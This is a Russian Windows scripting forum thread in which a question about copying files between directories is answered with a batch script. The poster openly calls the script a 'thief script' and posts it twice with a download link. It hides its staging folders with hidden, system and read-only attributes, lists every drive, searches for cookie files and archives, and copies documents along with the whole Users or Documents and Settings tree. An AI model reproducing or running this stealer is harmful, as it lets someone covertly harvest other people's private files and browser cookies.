|
Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » CMD/BAT - Скопировать все файлы из одного каталога в другой |
|
CMD/BAT - Скопировать все файлы из одного каталога в другой
|
Новый участник Сообщения: 45 |
Профиль | Отправить PM | Цитировать Добрый день!
Необходимо скопировать все файлы из одного каталога в другой, при этом если файл в каталоге назначения существует, то переписать его. Заранее благодарен! |
|
Отправлено: 12:07, 20-06-2012 |
Ветеран Сообщения: 27449
|
Профиль | Отправить PM | Цитировать |
Отправлено: 12:23, 20-06-2012 | #2 |
Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети. Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля. |
Новый участник Сообщения: 4
|
Профиль | Отправить PM | Цитировать @echo on rem ******************* rem Создаём свалку для мусора и аттрибутим скрыт,системн,только чтение rem ******************* mkdir %date:~-10% attrib +H +s +r "%cd%\%date:~-10%" mkdir %date:~-10%\%USERNAME% attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%" rem ******************* rem создаём в ней подпапки для удобства rem ******************* mkdir %date:~-10%\%USERNAME%\dir1-6 attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\dir1-6" mkdir %date:~-10%\%USERNAME%\docssett attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\docssett" mkdir %date:~-10%\%USERNAME%\Users attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\Users" rem ******************* rem шаримся по дискам и журналируем в папочку dir1-6 rem ******************* dir c:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir1.doc" dir d:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir2.doc" dir e:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir3.doc" dir f:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir4.doc" dir g:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir5.doc" dir h:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir6.doc" rem шаримся по C:\ и журналируем в папочку USERNAME dir c:\ /s /b | find "cookies" /i > %cd%\%date:~-10%\%USERNAME%\cookies.txt dir c:\ /s /b | find "*.avi" /i > %cd%\%date:~-10%\%USERNAME%\avi.txt dir c:\ /s /b | find "*.rar" /i > %cd%\%date:~-10%\%USERNAME%\rar.txt dir c:\ /s /b | find "*.zip" /i > %cd%\%date:~-10%\%USERNAME%\zip.txt dir c:\ /s /b | find "*.doc" /i > %cd%\%date:~-10%\%USERNAME%\doc.txt rem ******************* rem искать файлы в заданном каталоге и складывать найденное в определенную папку rem ******************* FOR /R c:\ %%I in (*.doc, *.txt, *zoner*, *.rar) do copy "%%I" "%cd%\%date:~-10%\%USERNAME%\dir1-6" rem ******************* rem если винда ХР , тырим папку c:\documents and settings , если ошибка ,то винда 7, тырим папку C:\Users rem ******************* xcopy "c:\Documents and Settings" "%cd%\%date:~-10%\%USERNAME%\docssett" /s/e/i/c/h/q rem if not errorlevel 0 goto users rem if not errorlevel 0 goto _1 rem pause :users XCOPY /y C:\Users "%cd%\%date:~-10%\%USERNAME%\Users" /s /e /i /c /h /q rem ******************* rem вырубаем батник rem ******************* exit |
Отправлено: 20:36, 09-03-2013 | #3 |
Старожил Сообщения: 263
|
Профиль | Отправить PM | Цитировать oleggyunter, можно узнать что вы изобразили?
|
Отправлено: 21:39, 09-03-2013 | #4 |
Ветеран Сообщения: 27449
|
Профиль | Отправить PM | Цитировать Комментарий .
|
|
Отправлено: 03:19, 10-03-2013 | #5 |
Новый участник Сообщения: 4
|
Профиль | Отправить PM | Цитировать Простите меня ради бога , напортачил с переносами . Написал скрипт-вор , выложил . Прикреплю РАБОЧИЙ вариант. Оцени , zion87, http://download7.files.attachmail.ru...from=e.mail.ru
Сообщения: 3 Благодарности: 0 Конфигурация Профиль | Редактировать | Отправить PM | Цитировать Код: @echo on rem ******************* rem Создаём свалку для мусора и аттрибутим скрыт,системн,только чтение rem ******************* mkdir %date:~-10% attrib +H +s +r "%cd%\%date:~-10%" mkdir %date:~-10%\%USERNAME% attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%" rem ******************* rem создаём в ней подпапки для удобства rem ******************* mkdir %date:~-10%\%USERNAME%\dir1-6 attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\dir1-6" mkdir %date:~-10%\%USERNAME%\docssett attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\docssett" mkdir %date:~-10%\%USERNAME%\Users attrib +H +s +r "%cd%\%date:~-10%\%USERNAME%\Users" rem ******************* rem шаримся по дискам и журналируем в папочку dir1-6 rem ******************* dir c:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir1.doc" dir d:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir2.doc" dir e:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir3.doc" dir f:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir4.doc" dir g:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir5.doc" dir h:\ /s/w/o/p > "%cd%\%date:~-10%\%USERNAME%\dir1-6\dir6.doc" rem шаримся по C:\ и журналируем в папочку USERNAME dir c:\ /s /b | find "cookies" /i > %cd%\%date:~-10%\%USERNAME%\cookies.txt dir c:\ /s /b | find "*.avi" /i > %cd%\%date:~-10%\%USERNAME%\avi.txt dir c:\ /s /b | find "*.rar" /i > %cd%\%date:~-10%\%USERNAME%\rar.txt dir c:\ /s /b | find "*.zip" /i > %cd%\%date:~-10%\%USERNAME%\zip.txt dir c:\ /s /b | find "*.doc" /i > %cd%\%date:~-10%\%USERNAME%\doc.txt rem ******************* rem искать файлы в заданном каталоге и складывать найденное в определенную папку rem ******************* FOR /R c:\ %%I in (*.doc, *.txt, *zoner*, *.rar) do copy "%%I" "%cd%\%date:~-10%\%USERNAME%\dir1-6" rem ******************* rem если винда ХР , тырим папку c:\documents and settings , если ошибка ,то винда 7, тырим папку C:\Users rem ******************* xcopy "c:\Documents and Settings" "%cd%\%date:~-10%\%USERNAME%\docssett" /s/e/i/c/h/q rem if not errorlevel 0 goto users rem if not errorlevel 0 goto _1 rem pause :users XCOPY /y C:\Users "%cd%\%date:~-10%\%USERNAME%\Users" /s /e /i /c /h /q rem ******************* rem вырубаем батник rem ******************* exit Так будет понятней. |
Отправлено: 07:08, 10-03-2013 | #6 |
Участник сейчас на форуме | Участник вне форума | Автор темы | Сообщение прикреплено |
| |||||
Название темы | Автор | Информация о форуме | Ответов | Последнее сообщение | |
PowerShell - [решено] скопировать заданный файл из одного каталога в другой с другим именем | Oleg2011 | Скриптовые языки администрирования Windows | 20 | 10-10-2011 17:03 | |
CMD/BAT - [решено] Создать подкаталоги, и скопировать файлы из корневого каталога по подкаталогам. | grinsen | Скриптовые языки администрирования Windows | 2 | 18-11-2010 13:48 | |
Повреждаются файлы при копировании с одного HDD на другой | nzhs | Непонятные проблемы с Железом | 22 | 25-03-2009 21:27 | |
FreeBSD - Не вызывается ни одного каталога из консоли freebsd | omega999 | Общий по FreeBSD | 1 | 18-01-2008 00:34 | |
Закачать напрямую файлы с одного хостинга на другой | babki | Сетевые технологии | 7 | 31-03-2006 04:02 |
|